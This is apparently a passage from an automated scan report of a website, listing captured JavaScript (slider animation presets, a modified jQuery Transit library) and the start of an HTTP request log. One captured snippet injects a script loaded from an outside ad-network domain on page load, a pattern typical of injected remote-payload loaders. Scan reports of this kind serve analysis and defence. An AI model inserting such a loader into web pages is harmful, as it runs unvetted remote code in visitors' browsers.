            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: 3
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200,
                rotateX: 0
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and turning rows to bottom (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and turning rows to top (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and horizontal turning rows random (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: 3
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200,
                rotateX: 0
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and vertical turning rows random (90&#176;)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and horizontal turning drunk rows to right (90&#176;)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                scale3d: .85,
                rotateX: 5,
                rotateY: 45
            },
            easing: "easeInOutQuint",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateX: 0,
                rotateY: 90
            },
            easing: "easeInOutQuint",
            duration: 1e3
        }
    }, {
        name: "Scaling and horizontal turning drunk rows to left (90&#176;)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        animation: {
            transition: {
                scale3d: .85,
                rotateX: 5,
                rotateY: -45
            },
            easing: "easeInOutQuint",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                rotateX: 0,
                rotateY: -90
            },
            easing: "easeInOutQuint",
            duration: 1e3
        }
    }, {
        name: "Turning columns to bottom (90&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Turning columns to top (90&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        animation: {
            transition: {
                rotateX: 90
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Vertical turning columns random (90&#176;)",
        rows: 1,
        cols: [5, 9],
        tile: {
            delay: 75,
            sequence: "random"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutQuart",
            duration: 1e3,
            direction: "vertical"
        }
    }, {
        name: "Scaling and turning columns to bottom (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and turning columns to top (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and turning columns to right (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and turning columns to left (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and horizontal turning columns random (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and vertical turning columns random (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "random"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -90
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutBack",
            duration: 600
        }
    }, {
        name: "Scaling and vertical turning drunk columns to right (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        animation: {
            transition: {
                scale3d: .85,
                rotateX: 45,
                rotateY: -5
            },
            easing: "easeInOutQuint",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                rotateX: 90,
                rotateY: 0
            },
            easing: "easeInOutQuint",
            duration: 1e3
        }
    }, {
        name: "Scaling and vertical turning drunk columns to left (90&#176;)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        animation: {
            transition: {
                scale3d: .85,
                rotateX: -45,
                rotateY: -5
            },
            easing: "easeInOutQuint",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                rotateX: -90,
                rotateY: 0
            },
            easing: "easeInOutQuint",
            duration: 1e3
        }
    }, {
        name: "Spinning cuboid to right (180&#176;, large depth)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward",
            depth: "large"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Spinning cuboid to left (180&#176;, large depth)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward",
            depth: "large"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "horizontal"
        }
    }, {
        name: "Spinning cuboid to bottom (180&#176;, large depth)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward",
            depth: "large"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "vertical"
        }
    }, {
        name: "Spinning cuboid to top (180&#176;, large depth)",
        rows: 1,
        cols: 1,
        tile: {
            delay: 75,
            sequence: "forward",
            depth: "large"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutQuart",
            duration: 1500,
            direction: "vertical"
        }
    }, {
        name: "Scaling and spinning cuboids to right (180&#176;, large depth)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "forward",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and spinning cuboids to left (180&#176;, large depth)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "reverse",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and spinning cuboids to bottom (180&#176;, large depth)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-forward",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and spinning cuboids to top (180&#176;, large depth)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "col-reverse",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 450,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            duration: 350,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and horizontal spinning cuboids random (180&#176;, large depth)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .65
            },
            duration: 700,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 700,
            direction: "horizontal"
        },
        after: {
            duration: 700,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and vertical spinning cuboids random (180&#176;, large depth)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 75,
            sequence: "random",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .65
            },
            duration: 700,
            easing: "easeInOutQuint"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutBack",
            duration: 700,
            direction: "vertical"
        },
        after: {
            duration: 700,
            easing: "easeInOutBack"
        }
    }, {
        name: "Scaling and spinning rows to right (180&#176;, large depth)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 65,
            sequence: "forward",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: 3
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1200,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200,
                rotateX: 0
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and spinning rows to left (180&#176;, large depth)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 65,
            sequence: "reverse",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: 3
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutQuart",
            duration: 1200,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200,
                rotateX: 0
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and spinning rows to bottom (180&#176;, large depth)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 65,
            sequence: "forward",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and spinning rows to top (180&#176;, large depth)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 65,
            sequence: "reverse",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and horizontal spinning rows random (180&#176;, large depth)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 65,
            sequence: "random",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85,
                rotateX: 3
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutQuart",
            duration: 1200,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200,
                rotateX: 0
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and vertical spinning rows random (180&#176;, large depth)",
        rows: [5, 9],
        cols: 1,
        tile: {
            delay: 65,
            sequence: "random",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and spinning columns to bottom (180&#176;, large depth)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 65,
            sequence: "forward",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1200,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and spinning columns to top (180&#176;, large depth)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 65,
            sequence: "reverse",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: 180
            },
            easing: "easeInOutQuart",
            duration: 1200,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and spinning columns to right (180&#176;, large depth)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 65,
            sequence: "forward",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and spinning columns to left (180&#176;, large depth)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 65,
            sequence: "reverse",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: -180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and horizontal spinning columns random (180&#176;, large depth)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 65,
            sequence: "random",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateY: 180
            },
            easing: "easeInOutBack",
            duration: 1e3,
            direction: "horizontal"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }, {
        name: "Scaling and vertical spinning columns random (180&#176;, large depth)",
        rows: 1,
        cols: [7, 11],
        tile: {
            delay: 65,
            sequence: "random",
            depth: "large"
        },
        before: {
            transition: {
                scale3d: .85
            },
            duration: 600,
            easing: "easeOutBack"
        },
        animation: {
            transition: {
                rotateX: -180
            },
            easing: "easeInOutQuart",
            duration: 1200,
            direction: "vertical"
        },
        after: {
            transition: {
                delay: 200
            },
            easing: "easeOutQuart",
            duration: 400
        }
    }]
}
#3 JavaScript::Eval (size: 8097) - SHA256: 0af7f6176916175b7b6de2e9aa2a71670eff3bab5ffbdd7241518c6133222b94
(function(e) {
    function r(e) {
        if (e in t.style) return e;
        var n = ["Moz", "Webkit", "O", "ms"];
        var r = e.charAt(0).toUpperCase() + e.substr(1);
        if (e in t.style) {
            return e
        }
        for (var i = 0; i < n.length; ++i) {
            var s = n[i] + r;
            if (s in t.style) {
                return s
            }
        }
    }

    function i() {
        t.style[n.transform] = "";
        t.style[n.transform] = "rotateY(90deg)";
        return t.style[n.transform] !== ""
    }

    function f(e) {
        if (typeof e === "string") {
            this.parse(e)
        }
        return this
    }

    function l(e, t, n) {
        if (t === true) {
            e.queue(n)
        } else if (t) {
            e.queue(t, n)
        } else {
            n()
        }
    }

    function c(t) {
        var n = [];
        e.each(t, function(t) {
            t = e.camelCase(t);
            t = e.transit.propertyMap[t] || e.cssProps[t] || t;
            t = d(t);
            if (e.inArray(t, n) === -1) {
                n.push(t)
            }
        });
        return n
    }

    function h(t, n, r, i) {
        var s = c(t);
        if (e.cssEase[r]) {
            r = e.cssEase[r]
        }
        var o = "" + m(n) + " " + r;
        if (parseInt(i, 10) > 0) {
            o += " " + m(i)
        }
        var u = [];
        e.each(s, function(e, t) {
            u.push(t + " " + o)
        });
        return u.join(", ")
    }

    function p(t, r) {
        if (!r) {
            e.cssNumber[t] = true
        }
        e.transit.propertyMap[t] = n.transform;
        e.cssHooks[t] = {get: function(n) {
                var r = e(n).css("transit:transform");
                return r.get(t)
            },
            set: function(n, r) {
                var i = e(n).css("transit:transform");
                i.setFromString(t, r);
                e(n).css({
                    "transit:transform": i
                })
            }
        }
    }

    function d(e) {
        return e.replace(/([A-Z])/g, function(e) {
            return "-" + e.toLowerCase()
        })
    }

    function v(e, t) {
        if (typeof e === "string" && !e.match(/^[\-0-9\.]+$/)) {
            return e
        } else {
            return "" + e + t
        }
    }

    function m(t) {
        var n = t;
        if (e.fx.speeds[n]) {
            n = e.fx.speeds[n]
        }
        return v(n, "ms")
    }
    e.transit = {
        version: "0.9.9",
        modifiedForLayerSlider: true,
        propertyMap: {
            marginLeft: "margin",
            marginRight: "margin",
            marginBottom: "margin",
            marginTop: "margin",
            paddingLeft: "padding",
            paddingRight: "padding",
            paddingBottom: "padding",
            paddingTop: "padding"
        },
        enabled: true,
        useTransitionEnd: false
    };
    var t = document.createElement("div");
    var n = {};
    var s = navigator.userAgent.toLowerCase().indexOf("chrome") > -1;
    n.transition = r("transition");
    n.transitionDelay = r("transitionDelay");
    n.transform = r("transform");
    n.transformOrigin = r("transformOrigin");
    n.transform3d = i();
    var o = {
        transition: "transitionEnd",
        MozTransition: "transitionend",
        OTransition: "oTransitionEnd",
        WebkitTransition: "webkitTransitionEnd",
        msTransition: "MSTransitionEnd"
    };
    var u = n.transitionEnd = o[n.transition] || null;
    for (var a in n) {
        if (n.hasOwnProperty(a) && typeof e.support[a] === "undefined") {
            e.support[a] = n[a]
        }
    }
    t = null;
    e.cssEase = {
        _default: "ease",
        "in": "ease-in",
        out: "ease-out",
        "in-out": "ease-in-out",
        snap: "cubic-bezier(0,1,.5,1)",
        easeInCubic: "cubic-bezier(.55, .055, .675, .19)",
        easeOutCubic: "cubic-bezier(.215,.61,.355,1)",
        easeInOutCubic: "cubic-bezier(.645,.045,.355,1)",
        easeInCirc: "cubic-bezier(.6,.04,.98,.335)",
        easeOutCirc: "cubic-bezier(.075,.82,.165,1)",
        easeInOutCirc: "cubic-bezier(.785,.135,.15,.86)",
        easeInExpo: "cubic-bezier(.95,.05,.795,.035)",
        easeOutExpo: "cubic-bezier(.19,1,.22,1)",
        easeInOutExpo: "cubic-bezier(1,0,0,1)",
        easeInQuad: "cubic-bezier(.55,.085,.68,.53)",
        easeOutQuad: "cubic-bezier(.25,.46,.45,.94)",
        easeInOutQuad: "cubic-bezier(.455,.03,.515,.955)",
        easeInQuart: "cubic-bezier(.895,.03,.685,.22)",
        easeOutQuart: "cubic-bezier(.165,.84,.44,1)",
        easeInOutQuart: "cubic-bezier(.77,0,.175,1)",
        easeInQuint: "cubic-bezier(.755,.05,.855,.06)",
        easeOutQuint: "cubic-bezier(.23,1,.32,1)",
        easeInOutQuint: "cubic-bezier(.86,0,.07,1)",
        easeInSine: "cubic-bezier(.47,0,.745,.715)",
        easeOutSine: "cubic-bezier(.39,.575,.565,1)",
        easeInOutSine: "cubic-bezier(.445,.05,.55,.95)",
        easeInBack: "cubic-bezier(.6,-.28,.735,.045)",
        easeOutBack: "cubic-bezier(.175, .885,.32,1.275)",
        easeInOutBack: "cubic-bezier(.68,-.55,.265,1.55)"
    };
    e.cssHooks["transit:transform"] = {get: function(t) {
            return e(t).data("transform") || new f
        },
        set: function(t, r) {
            var i = r;
            if (!(i instanceof f)) {
                i = new f(i)
            }
            if (n.transform === "WebkitTransform" && !s) {
                t.style[n.transform] = i.toString(true)
            } else {
                t.style[n.transform] = i.toString()
            }
            e(t).data("transform", i)
        }
    };
    e.cssHooks.transform = {set: e.cssHooks["transit:transform"].set
    };
    if (e.fn.jquery < "1.8") {
        e.cssHooks.transformOrigin = {get: function(e) {
                return e.style[n.transformOrigin]
            },
            set: function(e, t) {
                e.style[n.transformOrigin] = t
            }
        };
        e.cssHooks.transition = {get: function(e) {
                return e.style[n.transition]
            },
            set: function(e, t) {
                e.style[n.transition] = t
            }
        }
    }
    p("scale");
    p("scale3d");
    p("translate");
    p("translate3d");
    p("rotate");
    p("rotateX");
    p("rotateY");
    p("rotate3d");
    p("perspective");
    p("skewX");
    p("skewY");
    p("x", true);
    p("y", true);
    f.prototype = {
        setFromString: function(e, t) {
            var n = typeof t === "string" ? t.split(",") : t.constructor === Array ? t : [t];
            n.unshift(e);
            f.prototype.set.apply(this, n)
        },
        set: function(e) {
            var t = Array.prototype.slice.apply(arguments, [1]);
            if (this.setter[e]) {
                this.setter[e].apply(this, t)
            } else {
                this[e] = t.join(",")
            }
        },
        get: function(e) {
            if (this.getter[e]) {
                return this.getter[e].apply(this)
            } else {
                return this[e] || 0
            }
        },
        setter: {
            rotate: function(e) {
                this.rotate = v(e, "deg")
            },
            rotateX: function(e) {
                this.rotateX = v(e, "deg")
            },
            rotateY: function(e) {
                this.rotateY = v(e, "deg")
            },
            scale: function(e, t) {
                if (t === undefined) {
                    t = e
                }
                this.scale = e + "," + t
            },
            scale3d: function(e, t, n) {
                if (t === undefined) {
                    t = e
                }
                if (n === undefined) {
                    n = e
                }
                this.scale3d = e + "," + t + "," + n
            },
            skewX: function(e) {
                this.skewX = v(e, "deg")
            },
            skewY: function(e) {
                this.skewY = v(e, "deg")
            },
            perspective: function(e) {
                this.perspective = v(e, "px")
            },
            x: function(e) {
                this.set("translate", e, null)
            },
            y: function(e) {
                this.set("translate", null, e)
            },
            t3dx: function(e) {
                this.set("translate3d", e, null, null)
            },
            t3dy: function(e) {
                this.set("translate3d", null, e, null)
            },
            t3dz: function(e) {
                this.set("translate3d", null, null, e)
            },
            translate: function(e, t) {
                if (this._translateX === undefined) {
                    this._translateX = 0
                }
                if (this._translateY === undefined) {
                    this._translateY = 0
                }
                if (e !== null && e !== undefined) {
                    this._translateX = v(e, "px")
                }
                if (t !== null && t !== undefined) {
                    this._translateY = v(t, "px")
                }
                this.translate = this._translateX + "," + this._translateY
            },
            translate3d: function(e, t, n) {
                if (this._translate3dX === undefined) {
                    this._translate3dX = 0
                }
                if (this._translate3dY === undefined) {
                    this._translate3dY = 0
                }
                if (this._translate3dZ === undefined) {
                    this._translate3dZ = 0
                }
                if (e !== null && e !== undefined) {
                    this._translate3dX = v(e, "px")
                }
                if (t !== null && t !== undefined) {
                    this._translate3dY = v(t, "px")
                }
                if (n !== null && n !== undefined) {
                    this._translate3dZ = v(n, "px")
                }
                this.translate3d = this._translate3dX + "," + this._translate3dY + "," + this._translate3dZ
            }
        },
        getter: {
            x: function() {
                return this._translateX || 0
            },
            y: function() {
                return this._translateY || 0
            },
            scale: function() {
                var e = (this.scale || "1,1,1").split(",");
                if (e[0]) {
                    e[0] = parseFloat(e[0])
                }
                if (e[1]) {
                    e[1] = parseFloat(e[1])
                }
                if (e[2]) {
                    e[2] = parseFloat(e[2])
                }
                return e[0] === e[1] === e[2] ? e[0] : e
            },
            rotate3d: function() {
                var e = (this.rotate3d || "0,0,0,0deg").split(",");
                for (var t = 0; t <= 3; ++t) {
                    if (e[t]) {
                        e[t] = parseFloat(e[t])
                    }
                }
                if (e[3]) {
                    e[3] = v(e[3], "deg")
                }
                return e
            }
        },
        parse: function(e) {
            var t = this;
            e.replace(/([a-zA-Z0-9]+)\((.*?)\)/g, function(e, n, r) {
                t.setFromString(n, r)
            })
        },
        toString: function(e) {
            var t = [];
            for (var r in this) {
                if (this.hasOwnProperty(r)) {
                    if (!n.transform3d && (r === "rotateX" || r === "rotateY" || r === "perspective" || r === "transformOrigin")) {
                        continue
                    }
                    if (r[0] !== "_") {
                        if (e && r === "scale") {
                            t.push(r + "3d(" + this[r] + ",1)")
                        } else if (e && r === "translate") {
                            t.push(r + "3d(" + this[r] + ",0)")
                        } else {
                            t.push(r + "(" + this[r] + ")")
                        }
                    }
                }
            }
            return t.join(" ")
        }
    };
    e.fn.transition = e.fn.transit = function(t, r, i, s) {
        var o = this;
        var a = 0;
        var f = true;
        if (typeof r === "function") {
            s = r;
            r = undefined
        }
        if (typeof i === "function") {
            s = i;
            i = undefined
        }
        if (typeof t.easing !== "undefined") {
            i = t.easing;
            delete t.easing
        }
        if (typeof t.duration !== "undefined") {
            r = t.duration;
            delete t.duration
        }
        if (typeof t.complete !== "undefined") {
            s = t.complete;
            delete t.complete
        }
        if (typeof t.queue !== "undefined") {
            f = t.queue;
            delete t.queue
        }
        if (typeof t.delay !== "undefined") {
            a = t.delay;
            delete t.delay
        }
        if (typeof r === "undefined") {
            r = e.fx.speeds._default
        }
        if (typeof i === "undefined") {
            i = e.cssEase._default
        }
        r = m(r);
        var c = h(t, r, i, a);
        var p = e.transit.enabled && n.transition;
        var d = p ? parseInt(r, 10) + parseInt(a, 10) : 0;
        if (d === 0) {
            var v = function(e) {
                o.css(t);
                if (s) {
                    s.apply(o)
                }
                if (e) {
                    e()
                }
            };
            l(o, f, v);
            return o
        }
        var g = {};
        var y = function(r) {
            var i = false;
            var a = function() {
                if (i) {
                    o.unbind(u, a)
                }
                if (d > 0) {
                    o.each(function() {
                        this.style[n.transition] = g[this] || null
                    })
                }
                if (typeof s === "function") {
                    s.apply(o)
                }
                if (typeof r === "function") {
                    r()
                }
            };
            if (d > 0 && u && e.transit.useTransitionEnd) {
                i = true;
                o.bind(u, a)
            } else {
                window.setTimeout(a, d)
            }
            o.each(function() {
                if (d > 0) {
                    this.style[n.transition] = c
                }
                e(this).css(t)
            })
        };
        var b = function(e) {
            this.offsetWidth;
            y(e)
        };
        l(o, f, b);
        return this
    };
    e.transit.getTransitionValue = h
})(jQuery)
#4 JavaScript::Eval (size: 194) - SHA256: 1366398c0e6a949c8289dbe83f51fc7947e13ed2f486613e42f106e17fa96e2b
var script = document.createElement('script');
script.onload = function() {};
script.src = "https://adsnet.work/scripts/placer.js";
document.getElementsByTagName('head')[0].appendChild(script);

Executed Writes (0)


HTTP Transactions (107)


Request Response
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "72937C756D3FEEAE6D04A6F445398B0436BDF559F8C7437E3A3233263943900E"
Last-Modified: Sat, 26 Nov 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=8205
Expires: Mon, 28 Nov 2022 19:05:06 GMT
Date: Mon, 28 Nov 2022 16:48:21 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
